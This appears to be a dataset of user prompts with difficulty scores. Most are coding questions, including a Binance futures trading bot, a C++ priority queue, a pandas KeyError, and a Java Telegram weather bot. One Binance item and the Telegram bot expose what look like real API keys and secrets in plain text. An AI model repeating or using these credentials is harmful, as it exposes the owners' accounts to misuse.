bitmap.compress(Bitmap.CompressFormat.JPEG, 100, out);
out.flush();
out.close();
// сохранение пути к файлу в SharedPreferences
// создание круглого Bitmap
Bitmap circleBitmap = Bitmap.createBitmap(bitmap.getWidth(), bitmap.getHeight(), Bitmap.Config.ARGB_8888);
BitmapShader shader = new BitmapShader(bitmap, BitmapShader.TileMode.CLAMP, BitmapShader.TileMode.CLAMP);
Paint paint = new Paint();
paint.setShader(shader);
Canvas c = new Canvas(circleBitmap);
c.drawCircle(bitmap.getWidth()/2, bitmap.getHeight()/2, bitmap.getWidth()/2, paint);
// сохранение круглого изображения в SharedPreferences
ByteArrayOutputStream stream = new ByteArrayOutputStream();
circleBitmap.compress(Bitmap.CompressFormat.PNG, 100, stream);
byte[] byteArray = stream.toByteArray();
String encodedString = Base64.encodeToString(byteArray, Base64.DEFAULT);
SharedPreferences sharedPreferences = getActivity().getSharedPreferences("myPrefs_profile", Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPreferences.edit();
editor.putString("profile_picture_base64", encodedString);
editor.apply();
// установка круглого изображения на ImageView
ImageView imageViewProfile = getView().findViewById(R.id.imageButtonProfile);
imageViewProfile.setImageBitmap(circleBitmap);
} catch (IOException e) {
e.printStackTrace();
}
}
}
|
c493b5704b5d9e5125592a09ffb7fb48
|
{
"intermediate": 0.29744887351989746,
"beginner": 0.5295203328132629,
"expert": 0.1730308085680008
}
|
9,421
|
I used this code: import time
from binance.client import Client
from binance.enums import *
from binance.exceptions import BinanceAPIException
import pandas as pd
import requests
import json
import numpy as np
import pytz
import datetime as dt
date = dt.datetime.now().strftime("%m/%d/%Y %H:%M:%S")
print(date)
url = "https://api.binance.com/api/v1/time"
t = time.time()*1000
r = requests.get(url)
result = json.loads(r.content)
# API keys and other configuration
API_KEY = 'Y0ReOvKcXm8e3wfIRYlgcdV9UG10M7XqxsGV0H83S8OMH3H3Fym3iqsfIcHDiq92'
API_SECRET = '0u8aMxMXyIy9dQCti8m4AOeSvAGEqugOiIDML4rxVWDx5dzI80TDGNCMOWn4geVg'
client = Client(API_KEY, API_SECRET)
STOP_LOSS_PERCENTAGE = -50
TAKE_PROFIT_PERCENTAGE = 100
MAX_TRADE_QUANTITY_PERCENTAGE = 100
POSITION_SIDE_SHORT = 'SELL'
POSITION_SIDE_LONG = 'BUY'
symbol = 'BTCUSDT'
quantity = 1
order_type = 'MARKET'
leverage = 125
max_trade_quantity_percentage = 1
client = Client(API_KEY, API_SECRET)
def getminutedata(symbol, interval, lookback):
klines = client.get_historical_trades(symbol, interval, lookback+'min ago UTC')
# Cast tuples to lists
ohlc = []
for i in klines:
ohlc.append([i[0], float(i[1]), float(i[2]), float(i[3]), float(i[4]), float(i[5]), i[6], float(i[7]), float(i[8]), float(i[9]), float(i[10]), float(i[11]), float(i[12])])
frame = pd.DataFrame(ohlc, columns=['Open time', 'Open', 'High', 'Low', 'Close', 'Volume', 'Close time', 'Quote asset volume', 'Number of trades', 'Taker buy base asset volume', 'Taker buy quote asset volume', 'Ignore', 'Take profit'])
frame = frame[['Open time', 'Open', 'High', 'Low', 'Close', 'Volume']]
frame['Open time'] = pd.to_datetime(frame['Open time'], unit='ms').dt.tz_localize('UTC').dt.tz_convert('Etc/GMT+3')
frame.set_index('Open time', inplace=True)
frame.drop(frame.tail(1).index, inplace=True) # Drop the last candle we fetched
return frame
print(getminutedata('BTCUSDT','1m',44640))
df = getminutedata('BTCUSDT', '1m', 44640)
def signal_generator(df):
open = df.Open.iloc[-1]
close = df.Close.iloc[-1]
previous_open = df.Open.iloc[-2]
previous_close = df.Close.iloc[-2]
# Bearish pattern
if (open>close and
previous_open<previous_close and
close<previous_open and
open>=previous_close):
return 'sell'
# Bullish pattern
elif (open<close and
previous_open>previous_close and
close>previous_open and
open<=previous_close):
return 'buy'
# No clear pattern
else:
return ''
df = getminutedata('BTCUSDT', '1m', 44640)
def order_execution(symbol, signal, max_trade_quantity_percentage, leverage):
signal = signal_generator(df)
max_trade_quantity = None
account_balance = client.futures_account_balance()
usdt_balance = float([x['balance'] for x in account_balance if x['asset'] == 'USDT'][0])
max_trade_quantity = usdt_balance * max_trade_quantity_percentage/100
# Close long position if signal is opposite
long_position = None
short_position = None
positions = client.futures_position_information(symbol=symbol)
for p in positions:
if p['positionSide'] == 'LONG':
long_position = p
elif p['positionSide'] == 'SHORT':
short_position = p
if long_position is not None and short_position is not None:
print("Multiple positions found. Closing both positions.")
if long_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=long_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
if short_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=short_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
print("Both positions closed.")
if signal == 'buy':
position_side = POSITION_SIDE_LONG
opposite_position = short_position
elif signal == 'sell':
position_side = POSITION_SIDE_SHORT
opposite_position = long_position
else:
print("Invalid signal. No order placed.")
return
order_quantity = 0
if opposite_position is not None:
order_quantity = min(max_trade_quantity, abs(float(opposite_position['positionAmt'])))
if opposite_position is not None and opposite_position['positionSide'] != position_side:
print("Opposite position found. Closing position before placing order.")
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if
opposite_position['positionSide'] == POSITION_SIDE_LONG
else
SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=True,
positionSide=opposite_position['positionSide']
)
time.sleep(1)
order = client.futures_create_order(
symbol=symbol,
side=SIDE_BUY if signal == 'buy' else SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=False,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side, # add position side parameter
leverage=leverage
)
if order is None:
print("Order not placed successfully. Skipping setting stop loss and take profit orders.")
return
order_id = order['orderId']
print(f"Placed {signal} order with order ID {order_id} and quantity {order_quantity}")
time.sleep(1)
# Set stop loss and take profit orders
# Get the order details to determine the order price
order_info = client.futures_get_order(symbol=symbol, orderId=order_id)
if order_info is None:
print("Error getting order information. Skipping setting stop loss and take profit orders.")
return
order_price = float(order_info['avgPrice'])
# Set stop loss and take profit orders
stop_loss_price = order_price * (1 + STOP_LOSS_PERCENTAGE / 100) if signal == 'sell' else order_price * (1 - STOP_LOSS_PERCENTAGE / 100)
take_profit_price = order_price * (1 + TAKE_PROFIT_PERCENTAGE / 100) if signal == 'buy' else order_price * (1 - TAKE_PROFIT_PERCENTAGE / 100)
stop_loss_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_STOP_LOSS,
quantity=order_quantity,
stopPrice=stop_loss_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
take_profit_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_LIMIT,
quantity=order_quantity,
price=take_profit_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
# Print order creation confirmation messages
print(f"Placed stop loss order with stop loss price {stop_loss_price}")
print(f"Placed take profit order with take profit price {take_profit_price}")
time.sleep(1)
async def trading_loop():
while True:
df = getminutedata('BTCUSDT', '1m', 44640)
if df is None:
continue
signal = signal_generator(df)
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} :{signal}")
if signal:
await order_execution('BTCUSDT', signal, MAX_TRADE_QUANTITY_PERCENTAGE, leverage)
time.sleep(1) But I getting ERROR: Traceback (most recent call last):
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 53, in <module>
df = getminutedata('BTCUSDT', '1m', 44640)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 40, in getminutedata
klines = client.get_historical_trades(symbol, interval, lookback+'min ago UTC')
~~~~~~~~^~~~~~~~~~~~~~
TypeError: unsupported operand type(s) for +: 'int' and 'str' Please tell me what is problem and give me right code
|
3fd6921f85cc05debf4d341b4b70cbc6
|
{
"intermediate": 0.35041606426239014,
"beginner": 0.465026319026947,
"expert": 0.18455758690834045
}
|
9,422
|
Explain step by step, in detail how I would host a movie streaming website from scratch, where the backend and APIs are hosted in the cloud for free, and the movies are stored for free in the cloud ON A PLATFORM WITH IDEALLY NO STORAGE LIMITS/VERY HIGH STORAGE LIMITS and Webflow is for the front end. How I want it to work is that whenever a new movie is added a new page is generated on the Webflow site with the movie, and the movie should also be added to the relevant browse/search functions on Webflow. In your output you should give me full html/css/javascript for each of the pages on the website. Note I want to host this all on my custom domain, kritica.xyz, which is hosted on Cloudflare. Be as specific as possible, covering each and every step, and including full code snippets. DO NOT BE GENERIC OR MISS ANY STEPS, you should not leave anything for me to do or figure out; by following your instructions I should have a finished product.
|
f29d2148cfae201fced9d3f2e409a3c2
|
{
"intermediate": 0.5434261560440063,
"beginner": 0.27049198746681213,
"expert": 0.18608185648918152
}
|
9,423
|
Rewrite this code for the GCC compiler with the following modifications: Make the dynamic data structure into a static library - a header file and an implementation file.
Pass the contents of the dynamic structure elements as arguments to the program. Code: #include <iostream>
using namespace std;
class Element {
public:
int priority;
int value;
};
class queue {
private:
Element *elements;
int size = 0;
int capacity = 10;
int highestpriority() {
int highest = 0;
for (int i = 1; i < size; i++) {
if (elements[highest].priority < elements[i].priority) {
highest = i;
}
}
return highest;
}
public:
queue() {
elements = new Element[capacity];
}
~queue() {
for (int i = 0; i < size; i++) {
delete[] &elements[i].priority;
}
}
void enqueue(int priority, int value) {
Element newel;
newel.priority = priority;
newel.value = value;
int buffv, buffp, flag = 0;
if (size + 1 > capacity) {
capacity = 2;
Element *newElements = new Element[capacity];
for (int i = 0; i < size; i++) {
newElements[i] = elements[i];
}
delete[] elements;
elements = newElements;
}
elements[size] = newel;
size++;
for (int i = size - 2; i > -1; i--) {
if (flag == 0) {
if ((elements[i].priority > elements[size - 1].priority)) {
flag = 1;
} else {
if ((i == 0) && (elements[i].priority < elements[size - 1].priority)) {
for (int j = size - 1; j > i; j--) {
buffv = elements[j].value;
buffp = elements[j].priority;
elements[j].value = elements[j - 1].value;
elements[j].priority = elements[j - 1].priority;
elements[j - 1].value = buffv;
elements[j - 1].priority = buffp;
flag = 1;
}
}
if ((elements[i].priority < elements[size - 1].priority) &&
(elements[i - 1].priority > elements[size - 1].priority)) {
for (int j = size - 1; j > i; j--) {
buffv = elements[j].value;
buffp = elements[j].priority;
elements[j].value = elements[j - 1].value;
elements[j].priority = elements[j - 1].priority;
elements[j - 1].value = buffv;
elements[j - 1].priority = buffp;
flag = 1;
}
}
if ((elements[i].priority == elements[size - 1].priority)) {
for (int j = size - 1; j > i + 1; j--) {
buffv = elements[j].value;
buffp = elements[j].priority;
elements[j].value = elements[j - 1].value;
elements[j].priority = elements[j - 1].priority;
elements[j - 1].value = buffv;
elements[j - 1].priority = buffp;
flag = 1;
}
}
}
}
}
}
Element wthdrw(int index) {
return elements[index];
}
Element unqueue() {
int highestindex = highestpriority();
Element result = elements[highestindex];
if (size == 0) {
cout << "Очередь пустая\n";
return result;
}
for (int i = highestindex; i < size - 1; i++) {
elements[i] = elements[i + 1];
}
size--;
return result;
}
bool isclear() {
return size == 0;
}
int getSize() {
return size;
}
};
int main() {
setlocale(LC_ALL, "rus");
queue queue1;
queue1.enqueue(1, 10);
queue1.enqueue(5, 30);
queue1.enqueue(5, 20);
queue1.enqueue(1, 40);
queue1.enqueue(5, 25);
queue1.enqueue(3, 50);
for (int i = 0; i < queue1.getSize(); i++) {
cout << "Элемент под индексом " << i + 1 << " имеет значение " << queue1.wthdrw(i).value << " и приоритет "
<< queue1.wthdrw(i).priority << endl;
}
cout << endl;
while (!queue1.isclear()) {
Element earliestelement = queue1.unqueue();
cout << "Элемент вышел. Приоритет элемента - " << earliestelement.priority << " , значение элемента - "
<< earliestelement.value << endl;
}
return 0;
queue1.~queue();
}
|
bfcafc4ad8b25e9ec3f5ead92f0aaded
|
{
"intermediate": 0.4089941680431366,
"beginner": 0.4562799036502838,
"expert": 0.13472586870193481
}
|
9,424
|
this is my code: success_adv_df = adv123_df[adv123_df['Clicked Ad'] == 'Yes']
print(success_adv_df.shape) but it gives this error: ---------------------------------------------------------------------------
KeyError Traceback (most recent call last)
File ~\anaconda3\lib\site-packages\pandas\core\indexes\base.py:3802, in Index.get_loc(self, key, method, tolerance)
3801 try:
-> 3802 return self._engine.get_loc(casted_key)
3803 except KeyError as err:
File ~\anaconda3\lib\site-packages\pandas\_libs\index.pyx:138, in pandas._libs.index.IndexEngine.get_loc()
File ~\anaconda3\lib\site-packages\pandas\_libs\index.pyx:165, in pandas._libs.index.IndexEngine.get_loc()
File pandas\_libs\hashtable_class_helper.pxi:5745, in pandas._libs.hashtable.PyObjectHashTable.get_item()
File pandas\_libs\hashtable_class_helper.pxi:5753, in pandas._libs.hashtable.PyObjectHashTable.get_item()
KeyError: 'Clicked Ad'
The above exception was the direct cause of the following exception:
KeyError Traceback (most recent call last)
Cell In[58], line 1
----> 1 success_adv_df = adv123_df[adv123_df['Clicked Ad'] == 'Yes']
2 print(success_adv_df.shape)
File ~\anaconda3\lib\site-packages\pandas\core\frame.py:3807, in DataFrame.__getitem__(self, key)
3805 if self.columns.nlevels > 1:
3806 return self._getitem_multilevel(key)
-> 3807 indexer = self.columns.get_loc(key)
3808 if is_integer(indexer):
3809 indexer = [indexer]
File ~\anaconda3\lib\site-packages\pandas\core\indexes\base.py:3804, in Index.get_loc(self, key, method, tolerance)
3802 return self._engine.get_loc(casted_key)
3803 except KeyError as err:
-> 3804 raise KeyError(key) from err
3805 except TypeError:
3806 # If we have a listlike key, _check_indexing_error will raise
3807 # InvalidIndexError. Otherwise we fall through and re-raise
3808 # the TypeError.
3809 self._check_indexing_error(key)
KeyError: 'Clicked Ad'
|
60ec446b65a0837fda689c07016b8a50
|
{
"intermediate": 0.38008272647857666,
"beginner": 0.3826042115688324,
"expert": 0.23731307685375214
}
|
9,425
|
create a html java code for adding numberswith from function
|
6f03b123c019d245efe13e0d4406681c
|
{
"intermediate": 0.42238715291023254,
"beginner": 0.3304230570793152,
"expert": 0.2471897304058075
}
|
9,426
|
How to call an array from another class java
|
06370a55c597a2c71fc24310f505cbb3
|
{
"intermediate": 0.43991413712501526,
"beginner": 0.4601556062698364,
"expert": 0.09993022680282593
}
|
9,427
|
I used this code: import time
from binance.client import Client
from binance.enums import *
from binance.exceptions import BinanceAPIException
import pandas as pd
import requests
import json
import numpy as np
import pytz
import datetime as dt
date = dt.datetime.now().strftime("%m/%d/%Y %H:%M:%S")
print(date)
url = "https://api.binance.com/api/v1/time"
t = time.time()*1000
r = requests.get(url)
result = json.loads(r.content)
# API keys and other configuration
API_KEY = ''
API_SECRET = ''
client = Client(API_KEY, API_SECRET)
STOP_LOSS_PERCENTAGE = -50
TAKE_PROFIT_PERCENTAGE = 100
MAX_TRADE_QUANTITY_PERCENTAGE = 100
POSITION_SIDE_SHORT = 'SELL'
POSITION_SIDE_LONG = 'BUY'
symbol = 'BTCUSDT'
quantity = 1
order_type = 'MARKET'
leverage = 125
max_trade_quantity_percentage = 1
client = Client(API_KEY, API_SECRET)
def getminutedata(symbol, interval, lookback):
klines = client.get_historical_trades(symbol, interval, str(lookback)+'min ago UTC')
# Cast tuples to lists
ohlc = []
for i in klines:
ohlc.append([i[0], float(i[1]), float(i[2]), float(i[3]), float(i[4]), float(i[5]), i[6], float(i[7]), float(i[8]), float(i[9]), float(i[10]), float(i[11]), float(i[12])])
frame = pd.DataFrame(ohlc, columns=['Open time', 'Open', 'High', 'Low', 'Close', 'Volume', 'Close time', 'Quote asset volume', 'Number of trades', 'Taker buy base asset volume', 'Taker buy quote asset volume', 'Ignore', 'Take profit'])
frame = frame[['Open time', 'Open', 'High', 'Low', 'Close', 'Volume']]
frame['Open time'] = pd.to_datetime(frame['Open time'], unit='ms').dt.tz_localize('UTC').dt.tz_convert('Etc/GMT+3')
frame.set_index('Open time', inplace=True)
frame.drop(frame.tail(1).index, inplace=True) # Drop the last candle we fetched
return frame
print(getminutedata('BTCUSDT','1m',44640))
df = getminutedata('BTCUSDT', '1m', 44640)
def signal_generator(df):
open = df.Open.iloc[-1]
close = df.Close.iloc[-1]
previous_open = df.Open.iloc[-2]
previous_close = df.Close.iloc[-2]
# Bearish pattern
if (open>close and
previous_open<previous_close and
close<previous_open and
open>=previous_close):
return 'sell'
# Bullish pattern
elif (open<close and
previous_open>previous_close and
close>previous_open and
open<=previous_close):
return 'buy'
# No clear pattern
else:
return ''
df = getminutedata('BTCUSDT', '1m', 44640)
def order_execution(symbol, signal, max_trade_quantity_percentage, leverage):
signal = signal_generator(df)
max_trade_quantity = None
account_balance = client.futures_account_balance()
usdt_balance = float([x['balance'] for x in account_balance if x['asset'] == 'USDT'][0])
max_trade_quantity = usdt_balance * max_trade_quantity_percentage/100
# Close long position if signal is opposite
long_position = None
short_position = None
positions = client.futures_position_information(symbol=symbol)
for p in positions:
if p['positionSide'] == 'LONG':
long_position = p
elif p['positionSide'] == 'SHORT':
short_position = p
if long_position is not None and short_position is not None:
print("Multiple positions found. Closing both positions.")
if long_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=long_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
if short_position is not None:
client.futures_create_order(
symbol=symbol,
side=SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=short_position['positionAmt'],
reduceOnly=True
)
time.sleep(1)
print("Both positions closed.")
if signal == 'buy':
position_side = POSITION_SIDE_LONG
opposite_position = short_position
elif signal == 'sell':
position_side = POSITION_SIDE_SHORT
opposite_position = long_position
else:
print("Invalid signal. No order placed.")
return
order_quantity = 0
if opposite_position is not None:
order_quantity = min(max_trade_quantity, abs(float(opposite_position['positionAmt'])))
if opposite_position is not None and opposite_position['positionSide'] != position_side:
print("Opposite position found. Closing position before placing order.")
client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if
opposite_position['positionSide'] == POSITION_SIDE_LONG
else
SIDE_BUY,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=True,
positionSide=opposite_position['positionSide']
)
time.sleep(1)
order = client.futures_create_order(
symbol=symbol,
side=SIDE_BUY if signal == 'buy' else SIDE_SELL,
type=ORDER_TYPE_MARKET,
quantity=order_quantity,
reduceOnly=False,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side, # add position side parameter
leverage=leverage
)
if order is None:
print("Order not placed successfully. Skipping setting stop loss and take profit orders.")
return
order_id = order['orderId']
print(f"Placed {signal} order with order ID {order_id} and quantity {order_quantity}")
time.sleep(1)
# Set stop loss and take profit orders
# Get the order details to determine the order price
order_info = client.futures_get_order(symbol=symbol, orderId=order_id)
if order_info is None:
print("Error getting order information. Skipping setting stop loss and take profit orders.")
return
order_price = float(order_info['avgPrice'])
# Set stop loss and take profit orders
stop_loss_price = order_price * (1 + STOP_LOSS_PERCENTAGE / 100) if signal == 'sell' else order_price * (1 - STOP_LOSS_PERCENTAGE / 100)
take_profit_price = order_price * (1 + TAKE_PROFIT_PERCENTAGE / 100) if signal == 'buy' else order_price * (1 - TAKE_PROFIT_PERCENTAGE / 100)
stop_loss_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_STOP_LOSS,
quantity=order_quantity,
stopPrice=stop_loss_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
take_profit_order = client.futures_create_order(
symbol=symbol,
side=SIDE_SELL if signal == 'buy' else SIDE_BUY,
type=ORDER_TYPE_LIMIT,
quantity=order_quantity,
price=take_profit_price,
reduceOnly=True,
timeInForce=TIME_IN_FORCE_GTC,
positionSide=position_side # add position side parameter
)
# Print order creation confirmation messages
print(f"Placed stop loss order with stop loss price {stop_loss_price}")
print(f"Placed take profit order with take profit price {take_profit_price}")
time.sleep(1)
async def trading_loop():
while True:
df = getminutedata('BTCUSDT', '1m', 44640)
if df is None:
continue
signal = signal_generator(df)
print(f"The signal time is: {dt.datetime.now().strftime('%Y-%m-%d %H:%M:%S')} :{signal}")
if signal:
await order_execution('BTCUSDT', signal, MAX_TRADE_QUANTITY_PERCENTAGE, leverage)
time.sleep(1) But I getting ERROR: Traceback (most recent call last):
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 53, in <module>
df = getminutedata('BTCUSDT', '1m', 44640)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "c:\Users\Alan\.vscode\jew_bot\jew_bot\jew_bot.py", line 40, in getminutedata
klines = client.get_historical_trades(symbol, interval, str(lookback)+'min ago UTC')
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: define_getter.<locals>.getter() takes 1 positional argument but 4 were given
|
e0172b367862e696e316090b8dcf65ce
|
{
"intermediate": 0.4049564003944397,
"beginner": 0.36885973811149597,
"expert": 0.22618386149406433
}
|
9,428
|
Consider the code:
import simpy
import random
# Parameters
num_edge_nodes = 3
buffer_size = 10
cloud_server_processing_time = 10
avg_priority_a_processing_time = 1
avg_priority_b_processing_time = 3
propagation_delay = 2
arrival_rate = 10
# Measurements
class Measure:
def __init__(self, N_arr_a, N_arr_b, drop):
self.N_arr_A = N_arr_a
self.N_arr_B = N_arr_b
self.drop = drop
data_class = Measure(0,0,0)
def packet_arrivals(env, micro_data_center, cloud_data_center, data):
packet_type_options = ['A', 'B']
packet_id = 1
while True:
packet_type = random.choices(packet_type_options, weights=(1-f, f))[0]
packet_processing_time = avg_priority_a_processing_time if packet_type == 'A' else avg_priority_b_processing_time
# Updating arrival data
if packet_type == "A":
data.N_arr_A = data.N_arr_A + 1
else:
data.N_arr_B = data.N_arr_B + 1
if len(micro_data_center.items) < buffer_size:
micro_data_center.put((packet_id, packet_type, packet_processing_time))
else:
cloud_data_center.put((packet_id, packet_type, packet_processing_time + cloud_server_processing_time))
# Updating arrival data when a packet cannot get processed by the edge server due to heavy load
data.drop = data.drop + 1
yield env.timeout(random.expovariate(arrival_rate))
packet_id += 1
def edge_node(env, micro_data_center, cloud_data_center, node_id):
while True:
packet_id, packet_type, packet_processing_time = yield micro_data_center.get()
yield env.timeout(packet_processing_time)
print(f"Edge Node {node_id} processed packet {packet_id} of type {packet_type} at time {env.now}")
if packet_type == 'B':
yield cloud_data_center.put((packet_id, packet_type, cloud_server_processing_time + propagation_delay))
def cloud_server(env, cloud_data_center):
while True:
packet_id, packet_type, packet_processing_time = yield cloud_data_center.get()
yield env.timeout(packet_processing_time)
print(f"Cloud Server processed {packet_type} packet {packet_id} (including propagation delay) at time {env.now}")
# Simulation setup
env = simpy.Environment()
micro_data_center = simpy.Store(env)
cloud_data_center = simpy.Store(env)
f = 0.5 # Fraction of packets of type B
env.process(packet_arrivals(env, micro_data_center, cloud_data_center, data_class))
for node_id in range(num_edge_nodes):
env.process(edge_node(env, micro_data_center, cloud_data_center, node_id+1))
env.process(cloud_server(env, cloud_data_center))
# Recording data
# Run the simulation
simulation_time = 100
env.run(until=simulation_time)
print("Number of arrived A :", data_class.N_arr_A , "\nNumber of arrived B :", data_class.N_arr_B )
print("Skipped packets by nodes :", data_class.drop )
Modify the the code above to perfirm the following task:
Tasks
1. For the first task, assume a single server with finite buffer for both the Micro Data
Center and the Cloud Data Center, with f=0.5. Focusing on the Cloud Data Center
sub-system, the packet drop probabil-ity (version B) of those data packets that are
forwarded to the Cloud for any reason.
(a) Observe the system behavior during the warm-up transient period and identify
the transition to the steady state.
(b) Try to apply a method to remove the warm-up transient in your simulations.
|
05634b00368eb2e51ac220c6f10adda7
|
{
"intermediate": 0.37070977687835693,
"beginner": 0.39754337072372437,
"expert": 0.2317468374967575
}
|
9,429
|
How to client.futures_create_order with python-binance 0.3.0 ?
|
bdbf05ec8e7b44aee6502b78ab313358
|
{
"intermediate": 0.3288052976131439,
"beginner": 0.13636267185211182,
"expert": 0.5348320007324219
}
|
9,430
|
User
у меня есть код. Мне нужно, используя паттерн медиатор, разграничить доступ для двух ролей. Первая роль - метеозаинтересованный, он может пользоваться только командой /weather. Вторая роль - синоптик, он может пользоваться всеми командами.
package org.example.model;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.CloseableHttpClient;
import org.apache.http.impl.client.HttpClientBuilder;
import org.apache.http.util.EntityUtils;
import org.example.DB.Weather;
import org.example.DB.WeatherDAOPost;
import org.json.JSONObject;
import org.telegram.telegrambots.bots.TelegramLongPollingBot;
import org.telegram.telegrambots.meta.TelegramBotsApi;
import org.telegram.telegrambots.meta.api.methods.send.SendMessage;
import org.telegram.telegrambots.meta.api.objects.Message;
import org.telegram.telegrambots.meta.api.objects.Update;
import org.telegram.telegrambots.meta.api.objects.replykeyboard.ReplyKeyboardMarkup;
import org.telegram.telegrambots.meta.api.objects.replykeyboard.buttons.KeyboardButton;
import org.telegram.telegrambots.meta.api.objects.replykeyboard.buttons.KeyboardRow;
import org.telegram.telegrambots.meta.exceptions.TelegramApiException;
import org.telegram.telegrambots.updatesreceivers.DefaultBotSession;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
/**
@author hypec
@version 1.0.1
@since 04-05-2023
*/
public class WeatherBot extends TelegramLongPollingBot {
/** Поле инициализации объекта базы данных */
WeatherDAOPost weatherDAOImpl = new WeatherDAOPost();
/**
* Главная процедура, инициализирющая и регистрирующая бота
* @param args
*/
public static void main(String[] args) {
WeatherBot bot = new WeatherBot();
try {
TelegramBotsApi botsApi = new TelegramBotsApi(DefaultBotSession.class);
botsApi.registerBot(bot);
} catch (TelegramApiException e) {
e.printStackTrace();
}
}
/**
* Процедура обновления данных в чате
* @param update
*/
@Override
public void onUpdateReceived(Update update) {
if (update.hasMessage() && update.getMessage().hasText()) {
String text = update.getMessage().getText();
Message inMess = update.getMessage();
String chatId = inMess.getChatId().toString();
if (text.equals("/start")){
if (text.startsWith("/start")) {
SendMessage messageToSend = new SendMessage();
messageToSend.setChatId(chatId);
messageToSend.setText("Добро пожаловать в чат бота Погода!\nВыберите соответствующиую опцию:");
ReplyKeyboardMarkup keyboardMarkup = new ReplyKeyboardMarkup();
keyboardMarkup.setSelective(true);
keyboardMarkup.setResizeKeyboard(true);
keyboardMarkup.setOneTimeKeyboard(true); // отключение выбора элементов(только на телефоне)
List<KeyboardRow> keyboard = new ArrayList<>();
KeyboardRow row = new KeyboardRow();
row.add(new KeyboardButton("/db"));
keyboard.add(row);
row = new KeyboardRow();
row.add(new KeyboardButton("/help"));
keyboard.add(row);
row = new KeyboardRow();
row.add(new KeyboardButton("/start"));
keyboard.add(row);
keyboardMarkup.setKeyboard(keyboard);
messageToSend.setReplyMarkup(keyboardMarkup);
try {
execute(messageToSend);
} catch (TelegramApiException e) {
throw new RuntimeException(e);
}
}
}
else if (text.startsWith("/weather")) {
String location = text.substring(9);
try {
String url = String.format("http://api.openweathermap.org/data/2.5/weather?q=%s&appid=%s&exclude=current&lang=ru&units=metric", location, "0dbfa25f5196a0447e750e1ac30e86ba");
CloseableHttpClient client = HttpClientBuilder.create().build();
HttpGet request = new HttpGet(url);
JSONObject response = new JSONObject(EntityUtils.toString(client.execute(request).getEntity()));
//System.out.println("API Response: " + response.toString()); // дебаг HTTP запроса
String description = response.getJSONArray("weather").getJSONObject(0).getString("description");
double temperature = response.getJSONObject("main").getDouble("temp");
String temperatureString = String.format("%.1f", temperature);
SendMessage messageToSend = new SendMessage();
messageToSend.setChatId(chatId);
messageToSend.setText("Погода в городе " + location + " - " + description + "\nТемпература равна: " + temperatureString + " °C");
String name2 = location;
String description2 = description;
String temp2 = temperatureString;
LocalDateTime now = LocalDateTime.now();
DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
String time = now.format(formatter);
weatherDAOImpl.addWeather(new Weather(0, name2, description2, temp2, time));
execute(messageToSend);
} catch (Exception e) {
//System.out.println("ошибка в : " + e.getMessage()); // дебаг переменной с температурой
SendMessage messageToSend = new SendMessage();
messageToSend.setChatId(chatId);
messageToSend.setText("Извините, информации по местоположению "+ location + " нету!");
try {
execute(messageToSend);
} catch (TelegramApiException ex) {
throw new RuntimeException(ex);
}
}
}
else if (text.equals("/db")) {
List<Weather> weathers = weatherDAOImpl.getAllWeathers();
StringBuilder sb = new StringBuilder();
sb.append("Погода в базе данных:\n");
for (Weather weather : weathers) {
sb.append(weather.getName()).append(" - ").append(weather.getDescription()).append(", температура: ").append(weather.getTemperature()).append(" °C, время запроса: ").append(weather.getTime()).append("\n");
}
SendMessage messageToSend = new SendMessage();
messageToSend.setChatId(chatId);
messageToSend.setText(sb.toString());
try {
execute(messageToSend);
} catch (TelegramApiException e) {
throw new RuntimeException(e);
}
} else if (text.equals("/help")) {
SendMessage messageToSend = new SendMessage();
messageToSend.setChatId(chatId);
messageToSend.setText("Для получения погоды, необходимо ввести /weather и название города\n" +
"для получения всей информации из базы, надо ввести /db\n"+
"для получения информации по средней температуре в городе из базы, необходимо ввести /dbavg и название города");
try {
execute(messageToSend);
} catch (TelegramApiException e) {
throw new RuntimeException(e);
}
}
else if (text.startsWith("/dbavg")) {
String city = text.substring(7);
double averageTemperature = weatherDAOImpl.getAverageTemperatureByCity(city);
String response = city + " - средняя температура - " + averageTemperature;
SendMessage messageToSend = new SendMessage();
